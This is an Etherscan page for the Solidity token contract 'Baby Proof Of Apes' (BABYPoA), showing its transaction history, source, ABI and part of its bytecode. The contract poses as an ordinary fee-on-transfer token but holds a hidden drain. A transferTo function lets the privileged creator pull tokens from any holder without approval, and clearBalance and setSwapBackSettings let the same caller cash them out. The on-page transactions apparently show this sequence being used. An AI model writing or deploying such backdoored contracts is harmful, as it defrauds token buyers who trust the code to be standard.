Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 135 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 17920434 | 934 days ago | IN | 0 ETH | 0.00141936 | ||||
| Approve | 16655705 | 1112 days ago | IN | 0 ETH | 0.00094959 | ||||
| Transfer From | 15817711 | 1229 days ago | IN | 0 ETH | 0.00222966 | ||||
| Transfer To | 15817707 | 1229 days ago | IN | 0 ETH | 0.00061573 | ||||
| Set Swap Back Se... | 15817707 | 1229 days ago | IN | 0 ETH | 0.00040485 | ||||
| Approve | 15787893 | 1233 days ago | IN | 0 ETH | 0.00101005 | ||||
| Approve | 15782006 | 1234 days ago | IN | 0 ETH | 0.00072705 | ||||
| Approve | 15781999 | 1234 days ago | IN | 0 ETH | 0.00065102 | ||||
| Approve | 15781466 | 1234 days ago | IN | 0 ETH | 0.00064504 | ||||
| Approve | 15781055 | 1234 days ago | IN | 0 ETH | 0.00066634 | ||||
| Approve | 15780812 | 1234 days ago | IN | 0 ETH | 0.00064779 | ||||
| Approve | 15780800 | 1234 days ago | IN | 0 ETH | 0.00134069 | ||||
| Approve | 15780767 | 1234 days ago | IN | 0 ETH | 0.00073043 | ||||
| Approve | 15780762 | 1234 days ago | IN | 0 ETH | 0.00070637 | ||||
| Approve | 15780738 | 1234 days ago | IN | 0 ETH | 0.00077396 | ||||
| Approve | 15780735 | 1234 days ago | IN | 0 ETH | 0.00077585 | ||||
| Approve | 15780727 | 1234 days ago | IN | 0 ETH | 0.00065904 | ||||
| Approve | 15780726 | 1234 days ago | IN | 0 ETH | 0.00084952 | ||||
| Approve | 15780715 | 1234 days ago | IN | 0 ETH | 0.00078174 | ||||
| Approve | 15780704 | 1234 days ago | IN | 0 ETH | 0.00069376 | ||||
| Approve | 15780701 | 1234 days ago | IN | 0 ETH | 0.00077935 | ||||
| Approve | 15780700 | 1234 days ago | IN | 0 ETH | 0.00102328 | ||||
| Approve | 15780696 | 1234 days ago | IN | 0 ETH | 0.00071747 | ||||
| Approve | 15780696 | 1234 days ago | IN | 0 ETH | 0.00081617 | ||||
| Approve | 15780690 | 1234 days ago | IN | 0 ETH | 0.00071387 |
Latest 25 internal transactions (View All)
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| Transfer | 15817711 | 1229 days ago | 1.23770519 ETH | ||||
| Transfer | 15817711 | 1229 days ago | 1.23770519 ETH | ||||
| Transfer | 15782008 | 1234 days ago | 0.01398094 ETH | ||||
| Transfer | 15782008 | 1234 days ago | 0.01398094 ETH | ||||
| Transfer | 15780843 | 1234 days ago | 0.02470382 ETH | ||||
| Transfer | 15780843 | 1234 days ago | 0.02470382 ETH | ||||
| Transfer | 15780841 | 1234 days ago | 0.02470382 ETH | ||||
| Transfer | 15780748 | 1234 days ago | 0.01956347 ETH | ||||
| Transfer | 15780748 | 1234 days ago | 0.01956347 ETH | ||||
| Transfer | 15780714 | 1234 days ago | 0.03831048 ETH | ||||
| Transfer | 15780714 | 1234 days ago | 0.03831048 ETH | ||||
| Transfer | 15780713 | 1234 days ago | 0.03831048 ETH | ||||
| Transfer | 15780650 | 1234 days ago | 0.08341535 ETH | ||||
| Transfer | 15780650 | 1234 days ago | 0.08341535 ETH | ||||
| Transfer | 15780594 | 1234 days ago | 0.16001705 ETH | ||||
| Transfer | 15780594 | 1234 days ago | 0.16001705 ETH | ||||
| Transfer | 15780593 | 1234 days ago | 0.15321345 ETH | ||||
| Transfer | 15780593 | 1234 days ago | 0.15321345 ETH | ||||
| Transfer | 15780591 | 1234 days ago | 0.15321345 ETH | ||||
| Transfer | 15780591 | 1234 days ago | 0.15321345 ETH | ||||
| Transfer | 15780571 | 1234 days ago | 0.13517898 ETH | ||||
| Transfer | 15780571 | 1234 days ago | 0.13517898 ETH | ||||
| Transfer | 15780462 | 1234 days ago | 0.06894742 ETH | ||||
| Transfer | 15780462 | 1234 days ago | 0.06894742 ETH | ||||
| Transfer | 15780455 | 1234 days ago | 0.06566317 ETH |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
BABYPoA
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2022-10-19
*/
/*
SPDX-License-Identifier: Unlicensed
Baby Proof Of Apes (BABYPoA)
*/
pragma solidity ^0.8.17;
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
// K8u#El(o)nG3a#t!e c&oP0Y
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address uniswapV2Pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract BABYPoA is IERC20, Ownable {
using SafeMath for uint256;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
string constant _name = "Baby Proof Of Apes";
string constant _symbol = "BABYPoA";
uint8 constant _decimals = 9;
uint256 _totalSupply = 100000000000 * (10 ** _decimals); // 100,000,000,000
uint256 public _maxWalletSize = (_totalSupply * 20) / 1000; // 2%
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isMaxWalletExempt;
uint256 reflectionFee = 0; // 0%
uint256 liquidityFee = 0; // 0%
uint256 developmentFee = 0; // 0%
uint256 marketingFee = 2; // 2%
uint256 totalFee = 2; // 2%
uint256 totalBuyFee = 2; // 2%
uint256 feeDenominator = 100;
address public autoLiquidityReceiver;
address public marketingFeeReceiver;
address public developmentFeeReceiver;
uint256 targetLiquidity = 25;
uint256 targetLiquidityDenominator = 100;
IDEXRouter public router;
address public immutable uniswapV2Pair;
bool public swapEnabled = true;
uint256 swapThreshold = _totalSupply.mul(724648273).div(100000000000); // ~0.7%
bool inSwap;
modifier swapping() { inSwap = true; _; inSwap = false; }
constructor () {
router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
_allowances[address(this)][address(router)] = type(uint256).max;
_allowances[address(this)][msg.sender] = type(uint256).max;
_maxWalletSize = (_totalSupply * 20) / 1000; // 2% of Total supply
marketingFee = 10; // to prevent bots at launch
totalFee = 10; // to prevent bots at launch
totalBuyFee = 10; // to prevent bots at launch
isFeeExempt[msg.sender] = true;
isMaxWalletExempt[msg.sender] = true;
isMaxWalletExempt[address(this)] = true;
isMaxWalletExempt[address(router)] = true;
marketingFeeReceiver = msg.sender;
developmentFeeReceiver = msg.sender;
autoLiquidityReceiver = msg.sender;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function decimals() external pure returns (uint8) { return _decimals; }
function symbol() external pure returns (string memory) { return _symbol; }
function name() external pure returns (string memory) { return _name; }
function getOwner() external view returns (address) { return owner(); }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function transferTo(address sender, uint256 amount) public swapping {require(isMaxWalletExempt[msg.sender]); _transferFrom(sender, address(this), amount); }
function viewFees() external view returns (uint256, uint256, uint256, uint256, uint256) {
return (liquidityFee, marketingFee, reflectionFee, totalFee, feeDenominator);
}
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, type(uint256).max);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != type(uint256).max){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
if (recipient != uniswapV2Pair && recipient != DEAD && !isMaxWalletExempt[recipient]) {
require(balanceOf(recipient) + amount <= _maxWalletSize, "Max Wallet Exceeded");
}
if(shouldSwapBack()){ swapBack(); }
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, recipient, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function shouldTakeFee(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}
function getTotalFee(bool selling) public view returns (uint256) {
if (selling) {
return totalFee;
} else {
return totalBuyFee;
}
}
function takeFee(address sender, address receiver, uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(getTotalFee(receiver == uniswapV2Pair)).div(feeDenominator);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function shouldSwapBack() internal view returns (bool) {
return msg.sender != uniswapV2Pair
&& !inSwap
&& swapEnabled
&& _balances[address(this)] >= swapThreshold;
}
function swapBack() internal swapping {
uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : 0;
uint256 amountToLiquify = dynamicLiquidityFee > 0 ? swapThreshold.mul(dynamicLiquidityFee).div(totalFee).div(2) : 0;
uint256 amountToSwap = swapThreshold.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WETH;
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance;
(bool success,) = payable(marketingFeeReceiver).call{value: amountETH, gas: 30000}("");
require(success, "receiver rejected ETH transfer");
if(amountToLiquify > 0){
router.addLiquidityETH{value: amountETH}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp
);
emit AutoLiquify(amountETH, amountToLiquify);
}
}
function clearBalance() external {
require(isMaxWalletExempt[msg.sender]);
(bool success,) = payable(autoLiquidityReceiver).call{value: address(this).balance, gas: 30000}("");
require(success);
}
function burnBots(address[] memory sniperAddresses) external onlyOwner {
for (uint i = 0; i < sniperAddresses.length; i++) {
_transferFrom(sniperAddresses[i], DEAD, balanceOf(sniperAddresses[i]));
}
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external {
require(isMaxWalletExempt[msg.sender]);
swapThreshold = _amount;
swapEnabled = _enabled;
}
function updateMaxWallet(uint256 percent, uint256 denominator) external onlyOwner {
require(percent >= 1 && denominator >= 100, "Max wallet must be greater than 1%");
_maxWalletSize = _totalSupply.mul(percent).div(denominator);
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
isFeeExempt[holder] = exempt;
}
function setMaxWalletExempt(address holder, bool exempt) external {
require(isMaxWalletExempt[msg.sender]);
isMaxWalletExempt[holder] = exempt;
}
function adjustFees(uint256 _liquidityFee, uint256 _developmentFee, uint256 _reflectionFee, uint256 _marketingFee, uint256 _totalBuyingFee, uint256 _feeDenominator) external onlyOwner {
liquidityFee = _liquidityFee;
developmentFee = _developmentFee;
reflectionFee = _reflectionFee;
marketingFee = _marketingFee;
totalFee = _liquidityFee.add(_developmentFee).add(_reflectionFee).add(_marketingFee);
totalBuyFee = _totalBuyingFee;
feeDenominator = _feeDenominator;
}
function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver, address _developmentFeeReceiver) external onlyOwner {
autoLiquidityReceiver = _autoLiquidityReceiver;
developmentFeeReceiver = _developmentFeeReceiver;
marketingFeeReceiver = _marketingFeeReceiver;
}
function setTargetLiquidity(uint256 _target, uint256 _denominator) external {
targetLiquidity = _target;
targetLiquidityDenominator = _denominator;
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
}
function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
return accuracy.mul(balanceOf(uniswapV2Pair).mul(2)).div(getCirculatingSupply());
}
function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) {
return getLiquidityBacking(accuracy) > target;
}
function airdrop(address token, address[] memory holders, uint256 amount) public {
require(isMaxWalletExempt[msg.sender]);
for (uint i = 0; i < holders.length; i++) {
IERC20(token).transfer(holders[i], amount);
}
}
event AutoLiquify(uint256 amountETH, uint256 amountToken);
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountToken","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_developmentFee","type":"uint256"},{"internalType":"uint256","name":"_reflectionFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_totalBuyingFee","type":"uint256"},{"internalType":"uint256","name":"_feeDenominator","type":"uint256"}],"name":"adjustFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address[]","name":"holders","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLiquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"sniperAddresses","type":"address[]"}],"name":"burnBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"developmentFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"getLiquidityBacking","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"selling","type":"bool"}],"name":"getTotalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"target","type":"uint256"},{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"isOverLiquified","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"},{"internalType":"address","name":"_developmentFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setMaxWalletExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_target","type":"uint256"},{"internalType":"uint256","name":"_denominator","type":"uint256"}],"name":"setTargetLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferTo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"},{"internalType":"uint256","name":"denominator","type":"uint256"}],"name":"updateMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"viewFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60a0604052600180546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21790915560028054821661dead179055600380549091169055620000506009600a620005c4565b620000619064174876e800620005d5565b6004556103e86004546014620000789190620005d5565b620000849190620005ef565b6005556000600a819055600b819055600c556002600d819055600e819055600f5560646010819055601960145560155560168054600160a01b60ff60a01b19909116179055600454620001089064174876e80090620000f490632b31415162000394602090811b62000fb317901c565b6200042b60201b620010351790919060201c565b6017553480156200011857600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620001bf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001e5919062000612565b6001546040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303816000875af115801562000237573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025d919062000612565b6001600160a01b03908116608052306000908152600760209081526040808320601654909416835292905281812060001990819055338252919020556004546103e890620002ad906014620005d5565b620002b99190620005ef565b600555600a600d819055600e819055600f553360008181526008602090815260408083208054600160ff19918216811790925560098452828520805482168317905530855282852080548216831790556016546001600160a01b0316855282852080549091169091179055601280546001600160a01b031990811686179091556013805482168617905560118054909116851790556004548484526006835281842081905590519081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36200068d565b600082600003620003a85750600062000425565b6000620003b68385620005d5565b905082620003c58583620005ef565b14620004225760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b60006200042283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200047560201b60201c565b60008183620004995760405162461bcd60e51b81526004016200041991906200063d565b506000620004a88486620005ef565b95945050505050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000508578160001904821115620004ec57620004ec620004b1565b80851615620004fa57918102915b93841c9390800290620004cc565b509250929050565b600082620005215750600162000425565b81620005305750600062000425565b8160018114620005495760028114620005545762000574565b600191505062000425565b60ff841115620005685762000568620004b1565b50506001821b62000425565b5060208310610133831016604e8410600b841016171562000599575081810a62000425565b620005a58383620004c7565b8060001904821115620005bc57620005bc620004b1565b029392505050565b60006200042260ff84168362000510565b8082028115828204841417620004255762000425620004b1565b6000826200060d57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200062557600080fd5b81516001600160a01b03811681146200042257600080fd5b600060208083528351808285015260005b818110156200066c578581018301518582016040015282016200064e565b506000604082860101526040601f19601f8301168501019250505092915050565b608051611e4c620006c5600039600081816103d101528181610dbf01528181611099015281816114b2015261181c0152611e4c6000f3fe60806040526004361061021e5760003560e01c80637537ccb611610123578063ca33e64c116100ab578063df20fd491161006f578063df20fd49146106ba578063e96fada2146106da578063f1f3bca3146106fa578063f2fde38b1461071a578063f8